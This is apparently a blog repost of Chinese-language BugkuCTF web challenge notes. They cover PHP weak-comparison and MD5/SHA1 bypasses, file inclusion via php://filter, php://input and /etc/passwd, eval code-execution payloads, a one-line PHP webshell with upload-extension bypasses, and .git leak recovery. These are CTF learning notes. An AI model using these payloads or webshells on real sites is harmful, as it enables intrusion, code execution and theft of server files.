bugkuctf web随记wp

news2024/9/23 0:37:55

常规思路:

1,源码2,抓包3,御剑+dirsearch扫后台检查是否有git文件未删除4,参数

本地管理员:1,c+u看源码,s+c+i看源码有一串东西2,base64解码后是test123猜测是密码3,抓包把admin和test123放上去,由于提示了是本地管理员,所以在包里加一行x-forwarded-for:127.0.0.1声明自己是host本地地址

Game:1,边玩游戏边抓包2,包里有score和sign,其中sign很像base64但是有三个=,可能是base32或者base64+=或者==构造的,后面发现sign是zM+base64编码的分数+==构造的,sign是分数的密文3,把分数明文密文改成一致且分数改高发包即可返回flag

备份是个好习惯:

1,扫后台有index.php.bak的文件,或者提示了备份可以尝试index_bak.php或者index.php.bak这两个名字

2,文件删掉bak后缀,用notepad打开代码审计,是MD5弱类型比较

Strstr截取?和?之后的字符串;substr()返回从$str[1]开始的字符串(等于是去掉了?);str_replace()把key替换为空;parse_str()把字符串解析到变量中,parse_str(‘a=1&b=2’)等价于$a=1;$b=2;

3,MD5绕过MD5绕过的技巧_md5强类型绕过-CSDN博客 

MD5值以0e开头的字符串弱类型比较会被认为科学计数法,以此绕过,如

s878926199a s155964671a (双重MD5绕过CbDLytmyGm2xQyaLNhWn,

770hQgrBOjrcqftrlaZk,7r4lGXCH2Ksu2JNT3BYM)

MD5处理不了数组会返回FALSE,两个FALSE等价 payload:?kekeyy1[]=1&kekeyy2[]=2

eval:include函数,怀疑存在文件包含漏洞,再看题目的eval函数得知存在代码执行的漏洞,可以结合二者,将flag.php的信息获取传递给参数a的值进行代码执行输出flag。即?hello=file('flag.php')(图里边的flag不是真的)

变量:

error_reporting(0);//关闭PHP错误显示;

include "flag1.php";// 引入flag1.php文件代码

highlight_file(__file__);//对文件进行语法高亮显示

if(isset($_GET['args'])){//判断url直接定义的args是否存在

$args = $_GET['args'];//将GET赋值的args赋值给变量$args

if(!preg_match("/^\w+$/",$args)){// /^开始, \w表示任意一个单词字符,即[a-zA-Z0-9_] ,+将前面的字符匹配一次或多次,$/结尾

die("args error!");//输出 args error!

}

eval("var_dump($$args);");//此函数显示一个或多个表达式的信息,包括表达式的类型与值

Source:git泄露1,御剑和gobuster扫描(gobuster dir -u http://114.67.246.176:10491/ -w /usr/share/wordlists/dirb/common.txt),gobuster扫出git文件,wget -r http://114.67.246.176:10491/.git递归下载所有文件夹和文件,git reflog查看版本日志,git show不断往下翻

1,file=/etc/passwd能爆出数据说明有文件包含漏洞

  1. ?file=php://filter/read=convert.base64-encode/resource=index.php
  2. Base64解码

Cookies:

1,首先观察到filename后面是base64编码

解码后:

2,尝试把keys.txt改成index.php,将其编码替换,line的值改动发现有代码,代码审计时间到

    <?php

    error_reporting(0);

    $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

    $line=isset($_GET['line'])?intval($_GET['line']):0;

    if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

    $file_list = array(

    '0' =>'keys.txt',

    '1' =>'index.php',

    ); 

    if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

    $file_list[2]='keys.php';    

    }

    if(in_array($file, $file_list)){

    $fa = file($file);

    echo $fa[$line];

    }

?>

分析源代码,当cookie的margin=margin时,可以访问一个keys.php文件

filename的值改为base64加密后的keys.php

3,抓包改cookie改filename,回显出flag

never_give_up:

 1,id参数换来换去没用,看源码有一个1p.html的文件,如果把hello.php改成手打的1p.html会重定向到bugku首页,改成复制于源码的就能正常跳转到新代码

2,把中间那串东西url解码,再base64解码,再把一段东西url解码(直接丢给GPT分析也行但是也别太信,一开始GPT没分析出还有段url解码,还得是自己动手)

  1. 分析代码

<?PHP

if(!$_GET['id'])//GET方法获得id的值

{

header('Location: hello.php?id=1');

exit();

}

$id=$_GET['id'];

$a=$_GET['a'];

$b=$_GET['b'];

if(stripos($a,'.'))//如果a中有'.'就返回('.'貌似没有绕过的方法)因此用a传入文件基本是死路一条

{

echo 'no no no no no no no';

return ;

}

$data = @file_get_contents($a,'r');//以只读的方式获得a传入文件的信息

if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)

{

$flag = "flag{***********}"

}

else

{

print "never never never give up !!!";

}

?>

  1. 有flag出现的条件:data=="bugku is a nice plateform!" ,id==0,b的长度>5,第一位可以加在111后匹配1114,并且第一位又不是4

php://input 是个可以访问请求的原始数据的只读流,只需在数据流中写入要读取的内容即可

弱比较0的绕过可以换成1,字符串2,科学计数法0e1111

ereg() 函数或 eregi() 函数存在空字符截断漏洞,eregi是正则匹配函数,第一个参数是pattern,第二个参数是要匹配的内容

两种绕过方式:1.利用该函数的空截断漏洞,开头就是\x00,后面不管是什么都会匹配成功,后端得到的是\x00,这中间还有个解码过程,因此要对\x00进行url编码为%00,如果用这种方法b要在最后,不然过早把\x00放入会把a也截断

  1. 正则匹配为真就行,b等于*123456 ?123456 +123456这些

记得把GET改为POST

过狗一句话:

1,GPT分析题目给的代码

xxx二手市场:

  1. sql注入行不通,登录也正常,后面在上传头像的地方做手脚

  1. 把image里base64后面的东西全删了换成一句话木马,image/jpeg换成image/php,php作为文件后缀,后面的东西看上去都base64了,所以木马也要base64

3,回显里data那里把\删掉,用靶场url地址+这串删掉\的东西,蚁剑链接这串地址(http://题目地址/Uploads/heads/60eb9069c88e6624.php),然后在html目录下翻出flag

轻轻晕倒:

不知道,把答案copy过来可能以后就知道了。哈哈。

一、目标是输出flag变量,所以flag就在flag变量里面,输出条件有三个

1,flag变量长度等于$exam的长度,长度为49

2,flag变量不能包含` , “ , . , \ , ( , ) , [ , ] , _ , flag , echo , print , require , include , die , exit ;

3,eval($_GET[‘flag’]) === sha1($flag)

前面两个条件好绕过,就是第三个条件比较麻烦

我们可以利用php短标签来绕过

*   <? ?>和<?= ?>是短标签而<?php ?>是长标签,其中<?= 是代替 <? echo的,<? ?>代替的是<?php ?>,当PHP不支持使用短标签时,请到PHP的安装目录下找到PHP.INI文件:short_open_tag=On。php5默认的标记为<?php ?>              二、直接利用eval输出$flag变量的值,payload为?flag=$a='dlag';$a{0}='f';?>11111111111111111;<?=$$a;?>,其中?>用于闭合开头的<?php 标记,111…111是用来填充长度的。直接输出flag变量中的flag值,不需要再和sha1($flag)比较。

想死。

速度要快:1,源码里说把找到的东西传参给margin然后以post形式提交2,抓包看见返回的请求头里有flag后面跟着base64编码,解码后还有一个,再解码后剩下一串数字 3,第二次抓包后请求头flag变了,解码两次后数字又变了,所以应该是快速解码然后快速post提交4,写脚本,不会写,抄的。

前女友:MD5绕过,但是不知道为什么v3不等于flag的话为什么一定得是个数组

1,网页只有字,查看源码发现code.txt

2,要求v3不等于flag值,v1!=v2但是需要MD5值相同,可以数组绕过或者

3,但是v3只能数组绕过别的不行

SQL约束攻击:

懒得写,截图

你来自哪里:

看题目知道是抓包改Referer:https://www.google.com

各种绕过哟:

  1. 代码首先调用 highlight_file() 函数来显示名为 "flag.php" 的文件的源代码。接下来,代码将 GET 参数 id 进行 URL 解码,并赋值给 $_GET['id']。然后,定义了一个变量 $flag,并给它赋了一个字符串值。

条件:当uname 不等于 passwd,且 uname 和 passwd 的sha1()哈希值相等,且 id 的值等于 "margin"),则会输出 $flag 的值

Sha1()绕过:1,和MD5一样数组绕过2,10932435112,aaroZmOk,aaK1STfY

2,Content-Type: application/x-www-form-urlencoded 用于指示请求体中的数据是经过 URL 编码格式(key1=value1&key2=value2)的表单数据。其通常是通过 POST 方法向服务器提交表单数据。在这种情况下,请求体中的数据会被编码成键值对的形式,并以 & 符号分隔。bp包里面必须得加上这段(为了对应上id也得url编码吗?),且get改post

文件包含:

  1. 要求ac和fn的值一样
  2. 抓包 ?ac=1&fn=php://input  post传值1

文件上传:

上传一句话木马,抓包,改Content-Type:为image/jpeg,把filename="1.php"改成filename="1.php4"(php2,php3,php4,php5,php6,php7,phps,phpt,phtml,phtm,Php,php:.jpg)

一般都是/upload查找含有的文件访问,原URL/upload/filename

蚁剑连找flag文件

上传图片马,抓包改为php后缀

死文件包含2加密脚本 需要倒着写解密

<?php

function encrypt($data,$key)

{

    $key = md5('ISCC');

    $x = 0;

    $len = strlen($data);

    $klen = strlen($key);

    for ($i=0; $i < $len; $i++) {

        if ($x == $klen)

        {

            $x = 0;

        }

        $char .= $key[$x];

        $x+=1;

    }

    for ($i=0; $i < $len; $i++) {

        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);

    }

    return base64_encode($str);

}

?>

文件包含2:

1,看源码有提示upload.php,打开发现可以上传图片,上传一句话木马,把filename那里改成1.php:.jpg

<?php和?>被过滤了,换成plus.php即另一个绕过的木马<script language=php>echo 'a'; eval($_POST['a']);</script>,页面显示a即成功。蚁剑链接

好像需要管理员:

  1. 蚁剑扫出robots.txt 打开发现有个resusl.php的提示,打开resusl.php显示我不是管理员。如果x参数等于密码就发金水,所以直接抓包爆破

2,然后最后试到密码是admin,回显出flag

点login没反应:

  1. 看源码admin.css是超链接,点一下

2,源码出现,当cookie反序列化后强等于$KEY时,flag出现

$_COOKIE [ ] 数组:可以读取Cookie变量的值

3,把那串东西序列化

  1. 可以从上面的代码知道调用的 cookie 名称为 BUGKU,抓包把cookie那一栏直接换成BUGKU=s:13:"ctf.bugku.com";(而不是放在下面!!下面是post)

直接text=不行的话就data

?text=data://text/plain,welcome to the zjctf

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1311508.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

IDEA中显示方法、类注释信息

目录 一、IDEA测试版本及环境二、操作步骤2.1 鼠标悬停在某一个方法上&#xff0c;从而显示方法的注释信息2.2 调用方法时同步显示方法注释信息2.3 在new一个对象时&#xff0c;这个对象有很多重载的构造方法&#xff0c;想要重载的构造函数都显示出来 一、IDEA测试版本及环境 …

WPF仿网易云搭建笔记(6):Style进阶详解

文章目录 专栏和Gitee仓库前言Style简单使用样式字典全局样式局部全局样式全局样式穿透 专栏和Gitee仓库 WPF仿网易云 Gitee仓库 WPF仿网易云 CSDN博客专栏 前言 WPF想要批量设置样式属性&#xff0c;一共有3个方法 Style样式Template控件模板DataTemplate数据模板 WPF 零基础…

聚观早报 |iOS17.3引入设备被盗保护;iPhone16或调整设计

【聚观365】12月14日消息 iOS17.3引入设备被盗保护 iPhone16或调整设计 马斯克星链网络使用量飙升 华为鸿蒙智行App正式上线 特斯拉人形机器人Optimus二代上线 iOS17.3引入设备被盗保护 苹果向iPhone用户推送了iOS17.3开发者预览版Beta更新&#xff0c;本次更新距离上次发…

JVM虚拟机系统性学习-JVM调优之通过gceasy分析GC日志对堆、元空间、线程堆栈和垃圾回收器进行调优

通过 gceasy工具对生成的 GC 日志进行分析 这里使用的 JDK 版本为 JDK8&#xff01; 在分析 GC 日志时&#xff0c;可以同时采用多种工具&#xff08;Arthas、gceasy、JVM 连接 Graphana 监控&#xff09;进行分析&#xff0c;避免某种工具分析不准确 gceasy 每个月只可以免费…

激光炸弹

title: 激光炸弹 date: 2023-12-14 19:42:59 tags: 前缀和 categories: 算法进阶指南 题目链接 − − > --> −−> 传送门 题目大意 思路 代码 #include<bits/stdc.h> #define fi first #define se second #define pb push_back #define sz size() #define …

mac python安装grpcio以及xcode升级权限问题记录

问题1: ERROR: Could not build wheels fol grpcio, which is required to install pyproject.toml-based projects pip3 install --no-cache-dir --force-reinstall -Iv grpcio1.41.0 # (我这里是降级安装的) 问题2: fatal error: ‘stdio.h’ file not found 25 | #include …

@德人合科技——天锐绿盾|电脑文件防止泄密|文件、文档、图纸、源代码等透明加密保护,防泄密软件系统

德人合科技——天锐绿盾提供了一种企业办公电脑文件防止泄密的解决方案&#xff0c;该方案对文件、文档、设计图纸、源代码等进行了透明加密保护。 pc访问地址&#xff1a; https://isite.baidu.com/site/wjz012xr/2eae091d-1b97-4276-90bc-6757c5dfedee 透明加密是一种保护文…

【Mars3d】关于locationBar等控件的css样式冲突处理问题

【Mars3d】关于locationBar等控件的css样式冲突处理问题 问题场景&#xff1a; 1.通过代码加载new mars3d.control.Zoom(或者通过地球map初始化配置 option.control {加载放大缩小工具控件的时候&#xff0c;出现图标的样式冲突效果&#xff1a; 2.sceneModePicker&#xf…

电脑开机出现:CLIENT MAD ADDR (网卡启动系统)的解决办法

文章目录 前言步骤1、确定情况2、对症下药——关闭网卡启动 补充1、关于BIOS2、关于PXE 前言 最近给旧电脑重装系统安了下开发环境和常用软件啥的&#xff0c;之前还好好启动的电脑&#xff0c;开机突然需要额外加载一个页面&#xff0c;虽然最后正常启动了不影响使用&#xf…

微信小程序uniapp记住密码

记住密码功能 在请求登录接口成功后&#xff0c;我们需要判断用户是否勾选记住密码&#xff0c;如果是&#xff0c;则将记住密码状态、账号信息存入本地。 下次登录时&#xff0c;获取本地的记住密码状态&#xff0c;如果为true则获取本地存储的账号信息&#xff0c;将信息回填…

构建外卖小程序:技术代码实践

在这个数字化的时代&#xff0c;外卖小程序已经成为餐饮业的一项重要工具。在本文中&#xff0c;我们将通过一些简单而实用的技术代码&#xff0c;向您展示如何构建一个基本的外卖小程序。我们将使用微信小程序平台作为例子&#xff0c;但这些原理同样适用于其他小程序平台。 …

供应链安全应该掌握哪些呢

整理了供应链安全相关的内容&#xff0c;涵盖了普及应用安全、信息安全意识的内容&#xff0c;这些内容可以面向企业全部员工进行讲解。后面包括了面向开发人员、测试人员、安全人员的内容&#xff0c;包括应用安全开发、供应链安全。面向架构人员的架构安全内容&#xff0c;后…

每日一题SQL

以下题目来源微信公众号【SQL数据库开发】 1、编写一个 SQL 查询来实现分数排名。如果两个分数相同&#xff0c;则两个分数排名&#xff08;Rank&#xff09;相同。请注意&#xff0c;平分后的下一个名次应该是下一个连续的整数值。换句话说&#xff0c;名次之间不应该有“间隔…

Django、Echarts异步请求、动态更新

前端页面 <!DOCTYPE html> <html><head><meta charset"utf-8"><title>echarts示例</title> <script src"jquery.min.js"></script><script type "text/javascript" src "echarts.m…

持续集成交付CICD:Jenkins使用基于SaltStack的CD流水线下载Nexus制品

目录 一、理论 1.salt常用命令 二、实验 1.SaltStack环境检查 2.Jenkins使用基于SaltStack的CD流水线下载Nexus制品 二、问题 1.salt未找到命令 2.salt简单测试报错 3. wget输出日志过长 一、理论 1.salt常用命令 &#xff08;1&#xff09;salt 命令 该 命令执行s…

vue中 把vue页面导出为 html页面

vue导出文件后缀为html的页面 震惊&#xff01;我司要求我把数据融合起来&#xff0c;导出用html的方式展示&#xff0c;请看下面示例 <template><div><el-button click"gethtml">导出报告</el-button><div id"main"><…

「Azure架构风格」Azure云不同的 架构风格

架构风格是一系列具有某些共同特征的架构。例如&#xff0c;n层是一种常见的体系结构样式。最近&#xff0c;微服务体系结构开始受到青睐。架构风格不需要使用特定的技术&#xff0c;但是有些技术非常适合特定的架构。例如&#xff0c;容器自然适合于微服务。 我们已经确定了一…

回溯算法第三篇(批处理作业调度、N皇后【基于排列树实现】、符号三角形问题)

目录 1. 批处理作业调度 2. N皇后【基于排列树实现】 3. 符号三角形问题 1. 批处理作业调度 题目描述&#xff1a;给定n个作业的集合 。每个作业 都有两项任务分别在两台机器上完成。每个作业必须先由机器1处理&#xff0c;再由机器2处理。作业 需要机器j的处理时间为 。对…

大数据技术13:HBase分布式列式数据库

前言&#xff1a;2007年Powerset的工作人员&#xff0c;通过google的论文开发出了BigTable的java版本&#xff0c;即HBASE。2008年HBASE贡献给了Apache。HBase 需要依赖 JDK 环境。 一、Hadoop的局限 HBase 是一个构建在 Hadoop 文件系统之上的面向列的数据库管理系统。 要想…

实验03:OSPF配置网络实验

1.实验目的&#xff1a; 本实验的主要目的是了解OSPF协议的基本概念、OSPF网络的配置及验证&#xff0c;通过实验来掌握OSPF协议的工作原理、配置方法、路由表的生成过程等。 2.实验内容&#xff1a; 设计一个拓扑结构&#xff0c;并在网络设备上进行配置&#xff1b;配置OS…